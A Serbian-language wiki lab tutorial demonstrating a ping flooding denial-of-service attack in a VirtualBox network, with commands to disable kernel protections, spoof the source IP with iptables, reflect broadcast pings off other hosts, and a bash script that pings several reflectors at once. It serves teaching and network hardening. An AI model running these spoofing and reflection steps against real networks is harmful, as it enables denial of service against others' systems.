Ping Flooding DoS napad u virtualnoj mreži

Jednostavan, ali efikasan uskraćivanje usluge napad (denial of service - DoS) u računarsko mreži je ping poplava (ping flooding) napad. Ideja je da zlonamerni računar pokrene slanje mnogo ping poruka ka računaru meti. Ako je dovoljno poruka poslato, veza koja vodi do računara mete se preoptereti, i na taj način onemogući normalna komunikacija sa računarom metom.

Demonstraciju ping flooding napada ćemo izvršiti na virtualnoj mreži u VirtualBox-u. Koraci za izvođenje demonstracije su:

  • Kreiranje virtualne mreže u VirtualBox-u.
  • Priprema čvorova i veza da bi se dozvolio ping flooding napad
  • Razni koraci za izvođenje i analizu napada:
  • Postavljanje lažne IP adrese da bi se izvršio napad
  • Ping ka celoj podmreži i korišćenje svih računara na podmreži da bi reflektovali napad ka meti.
  • Hvatanje svih paketa na mreži i njihova analiza.
  • Ping ka više adresa odjednom korišćenjem skipte.
  • Testiranje uspešnosti izvedenog napada.

1. Kreiranje virtualne mreže

Na mreži je potrebno da se nalazi najmanje zlonamerni računar, računar meta i nekoliko relflektora (računara koje zlonamerni računar može da koristi da bi napao metu). U ovom slučaju koristićemo topologiju mreže koja je data na slici ispod. Ova topologija može da se kreira korišćenjem skirpte topologija.kreiraj (bash topologija.kreiraj 26).

Topologija mreže

Ova topologija ima osam čvorova koji se nalaze u tri podmreže (čvorovi node2 i node7 su ruteri). Sve IP adrese počinju sa 192.168., tako da je adresa čvora node1 192.168.1.11. Čvor node1 (ili node3 u nekim slučajevima) će biti zlonamerni računar, node8 će biti meta, a čvorovi node3 do node6 će se ponašati kao reflektori. Zavisno od napada, čvor node3 će se koristiti kao zlonameran računar i/ili normalan korisnik sa veb pretraživačem koji pokušava da pristupi veb serveru (node8).

2. Podešavanje čvorova i veza

Cilj ping flooding DoS napada je da pokuša da preoptereti vezu koja vodi do mete, tako da paketi koji pristižu od normalnih korisnika do mete budu odbačeni ili da bitno kasne. Preopterećivanje mreže se postiže slanjem dovoljno podataka preko veze, koja vodi do mete, tako da se dostigne njen pun kapacitet. U stvarnom svetu, veza koja vodi od mreže do davaoca internet usluga (Internet service provider - ISP) ili veza koja vodi do nekog računara unutar LAN-a, je meta napada. Ako ta veza, koja je meta, ima veliki kapacitet (više Gb/s), potrebno je upotrebiti mnogo računara, koji će veoma često slati podatke, da bi se dostigao pun kapacitet te veze.

U našoj virtualnoj mreži imamo samo nekoliko čvorova i da bi preopteretili vezu ka računaru meti (veza između čvorova node7 i node8), potrebno je da kapacitet te veze bude prilično nizak. VirtualBox emulira mrežne veze, ali ne postavlja maksimalan kapacitet veza. Brzina kojom dva čvora razmenjuju podatke varira i zavisi od više faktora: brzina procesora hosta, diska i drajvera koji se koriste za interfejse virtualnih mrežnih adaptera isl. Da bi smo eksplicitno podesili kapacitet veze između čvorova node7 i node8 koristićemo Linux alat za kontrolu saobraćaja - tc. Tc se koristi da bi se emulirao kapacitet veze, kašnjenje, jitter i odbacivanje paketa. U daljem tekstu date su komande za podešavanje kapaciteta veze bez detaljnog objašnjenja svih funkcionalnosti alata tc.

Tc utiče na izlaznu vezu i da bi se promenio kapacitet veze, u oba pravca, između čvorova node7 i node8, potrebno je koristiti tc na oba čvora. U ovom slučaju kapacitet veze će biti 100,000 bitova po sekundi (100 kb/s). Ovaj kapacitet je dovoljno mali da bi se ostvarili naši pokušaji preoptećenja veze sa par čvorova koji šalju ping. Prvo ćemo konfigurisati čvor node7:

student@node7:~$ sudo tc qdisc add dev eth2 root handle 1:0 htb default 10
student@node7:~$ sudo tc class add dev eth2 parent 1:0 classid 1:10 htb rate 100000

Sada ćemo konfigurisati čvor node8 (jedina razlika u komandama je u interfejsu, node7 koristi eth2, a node8 eth1 mrežni interfejs):

student@node8:~$ sudo tc qdisc add dev eth1 root handle 1:0 htb default 10
student@node8:~$ sudo tc class add dev eth1 parent 1:0 classid 1:10 htb rate 100000

Ako je potrebno promeniti ili ukloniti ograničenje kapaciteta, onda je najlakše obrisati ”class” i ”qdisc” i ponovo podesiti ograničenje. Da bi se ograničenje obrisalo u komandama je potrebno reč ”add” zameniti sa ”del”. Poslednja vrednost u drugoj komandi je kapacitet u bitovima po sekundi.

3. Podešavanje Linux jezgra

Linux jezgro ima opcije koja sprečava (ili veoma otežava) ping flooding napad. Da bi videli napad u akciji, potrebno je isključiti ove sigurnosne opcije.

Kada se ponaša kao ruter, Linux jezgro ne dozvoljava da paketi koji potiču sa jedne podmreže (javljaju se na određenom interfejsu), a ne pripadaju toj podmreži budu prosleđeni dalje. Ova osobina se zove obrnuto filtriranje putanje (Reverse Path Filtering). Potrebno je isključiti ovu opciju na ruterima naše mreže (čvorovi node2 i node7) isključivanjem opcije jezgra rp_filter za oba interfejsa eth1 i eth2, kao i za sve (all) interfejse. Potrebno je i resetovati mrežu da bi opcije postale aktivne:

student@node2:~$ sudo sysctl net.ipv4.conf.eth1.rp_filter=0
net.ipv4.conf.eth1.rp_filter = 0
student@node2:~$ sudo sysctl net.ipv4.conf.eth2.rp_filter=0
net.ipv4.conf.eth2.rp_filter = 0
student@node2:~$ sudo sysctl net.ipv4.conf.all.rp_filter=0
net.ipv4.conf.all.rp_filter = 0
student@node2:~$ sudo /etc/init.d/networking restart

Navedene komande je potrebno izvršiti i na čvoru node7.

U nekim napadima čvor će koristiti opciju ping sa broadcast adresom, da bi poslali ping ka svim računarima na određenoj podmreži. Linux jezgro je konfigurisano tako da ignoriše ping sa broadcast adresom (neće odgovoriti na Echo zahtev sa broadcast adresom). Potrebno je da se ovakvi paketi prihvate (odgovori na Echo zahtev) makar na čvorovima node4, node5 i node6 koji se nalaze na istoj podmreži kao i zlonameran računar node3. Opcija Linux jezgra koju je potrebno isključiti je icmp_echo_ignore_broadcasts. Opciono, ova opcija može da se isključi na svim čvorovima.

student@node4:~$ sudo sysctl net.ipv4.icmp_echo_ignore_broadcasts=0
net.ipv4.icmp_echo_ignore_broadcasts = 0

Ovu komandu potrebno je ponoviti na čvorovima node5 i node6, po potrebi i ostalim čvorovima.

4. Korišćenje lažne adrese izvora: iptables

Virtualna mreža je kreirana, kapacitet veze postavljen na 100 kb/s i sigurnosne funkcije Linux jezgra su isključene, pa možemo da izvedemo ping flooding napade.

Veoma korisno svojstvo u ping flooding napadima je ta što zlonamerni čvor može da koristi lažnu adresu izvora. Detaljno objašnjenje korišćenja lažne adrese je dato u prethodnom delu teksta. Ovde je data komanda za postavljanje lažne izvorne adrese noda1 kao adrese noda8:

student@node1:~$ sudo iptables -t nat -A POSTROUTING -p icmp SNAT -to-source 192.168.3.31

Komanda postavlja lažnu adresu izvora samo za ICMP pakete. Ako hoćemo da postavimo lažnu adresu za sve pakete treba izbrisati -p icmp opciju.

5. Ping cele podmreže korišćenjem direktnog broadcast-a

Jedan od načina da se poveća količina podataka poslata ka meti je da se natera više čvorova da šalju ping poruku ka meti u ime zlonamernog čvora. Postavljanjem lažne adrese izvora, zlonamerni računara može da pošalje ping ka drugim čvorovima, koji bi svoj odgovor poslali ka meti. U daljem tekstu je dat primer kako zlonamerni računar pojedinačno ping-uje više čvorova paralelno. Drugi način je da se ping uputi ka celoj podmreži, što bi u teoriji, dovelo do toga da se ping isporuči svim čvorovima u podmreži. U praksi mnogi sistemi ograničavaju ovakvo ponašanje. Glavni razlog za ovo ograničenje je upravo da bi se otežali ping DoS napadi. U prethodnom tekstu je navedeno kako da se isključi opcija jezgra koja zabranjuje da čvor odgovara na ping sa broadcast adresom, tako da možemo da pošaljemo ping sa jednog čvora, da ga dostavimo ka svim čvorovima na istoj podmreži i svi ti čvorovi da odgovore.

Na primer možemo da pretpostavimo da je node3 zlonameran čvor. Postavićemo lažnu adresu izvora za node3, kao adresu mete i onda ping-ovati ka čvorovima koji se nalaze u podmreži čvora node3, koristeći broadcast adresu podmreže 192.168.2.255.

student@node3:~$ sudo iptables -t nat -A POSTROUTING -p icmp SNAT -to-source 192.168.3.31
student@node3:~$ ping -b 192.168.2.255

Preko tcpdump-a možemo da vidimo da su čvorovi node4, node5 i node6 primili ICMP Echo zahtev i odgovorili ka računaru meti.

Još bolji način bi bio kada bi zlonamerni računar poslao broadcast ping ka drugoj podmreži. Npr. čvor node1 je zlonamerni i on pinguje 192.168.2.255 sa namerom da mu čvorovi node3, node4, node5 i node6 odgovore na ping i pošalju svoje odgovore ka meti. Nažalost, po napadače, Linux jezgro ne dozvoljava da ruter prosledjuje pakete koji imaju broadcast adresu kao adresu odredišta. Tako da će node1 poslati zahtev, ali čvor node2 koji je ruter taj zahtev će da odbaci. Ovo je još jedan način da se oteža ping flooding napad.

6. Ping ka više adresa korišćenjem Shell skripte

Videli smo da Linux (i ostali OS) imaju sigurnosnu opciju koja ograničava korišćenje pinga ka broadcast adresama. Ipak, zlonamerni računar može da ping-uje više računara i tako izvrši napad. Ako je čvor node1 zlonameran, on može da ping-uje čvorove node3, node4, node5 i node6 u isto vreme i tako ih natera da pošalju odgovor ka računaru meti. Da bi automatizovali ping ka više računara možemo napraviti skriptu pingujvise i nju pokrenuti sa čvora node1.

#!/bin/bash
# Skripta pingujvise
# Salje ping ka vise destinacija
 
args=$#
interval=$1
shift;
pktsize=$1
shift;
for (( i=3; i<=$args; i++ )); do
        ping -i $interval -s $pktsize $1 > /dev/null &
        shift;
done

Potrebno je postaviti i da fajl može da se izvrši:

student@node1:~$ sudo chmod u+x pingujvise

Da bi čvor node1 pingovao više računara potrebno je pokrenuti skriptu. Prva dva parametra skripte su ping interval (-i opcija ping komande) i velicina paketa (-s opcija). Sledeći parametri su IP adrese računara koje hoćemo da pingujemo. Da bi smo poslali 972 bajta podataka u svakom ICMP Echo zahtevu brzinom 2 pinga po sekundi ka čvorovima node3, 4, 5 i 6 potrebno je uneti:

student@node1:~$ ./pingujvise 0.5 972 192.168.2.21 192.168.2.22 192.168.2.23 192.168.2.24

Skripta se izvršava u pozadini i ne prikazuje ništa na izlazu. Na zlonamernom računaru nećemo videti nikakve povratne informacije. Da bi smo zaustavili ping moramo ubiti (kill) svaki proces. Najlakši način je da se pošalje signal prekida ka svakom procesu koji sadrži reč ping:

student@node1:~$ kill -SIGINT `pgrep ping`

7. Uskraćivanje usluge napad na web serveru

Svrha ping flooding napada je da uskrati pristup meti normalnim računarima. Da bi smo videli efekte našeg napada postavićemo Apache web server na računaru meti (node8) i probaćemo da pristupimo html stranici sa tog servera.

Da bi smo postavili web server na računaru node8 potrebno ga je instalirati (ako nije instaliran) i pokrenuti (ako već nije pokrenut):

student@node8:~$ sudo apt-get install apache2
student@node8:~$ sudo apache2ctl start

Sada možemo da kreiramo neku web stranu i smestimo u direktorijum /var/www/.

Web serveru možemo da pristupimo preko računara node3 preko web pretraživača lynx koji se izvršava unutar komandne linije

student@node8:~$ lynx http://192.168.3.31/

Strelicama “gore”/“dole” sa tastature se kreće kroz stranicu. Selektovani linkovi se prate strelicom “desno”, a strelicom “levo” se vraća na prethodnu stranu, “q” je za izlaz. Da bi smo testirali naš napad možemo da pristupimo serveru kada nema napada i da brzinu pristupa uporedimo sa brzinom pristupa web serveru kada je napad aktivan (pokretanjem skripte pingujvise).

8. Ciljevi

Svrha ovog teksta nije da se obezbede mehanizmi za izvođenje napada u realnom okruženju. Ovo je demonstracija osnovnih tehnika koji se koriste u DoS napadima. Svrha teksta je da se stekne uvid u način rada DoS napada i tako omogući lakše konfigurisanje mreže da bi se smanjila mogućnost da neko izvede DoS napad na takvu mrežu.

 
ping_flooding.txt · Last modified: 2015/11/25 13:46 by marko.knezevic
 
Except where otherwise noted, content on this wiki is licensed under the following license:CC Attribution-Noncommercial-Share Alike 3.0 Unported
Recent changes RSS feed Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki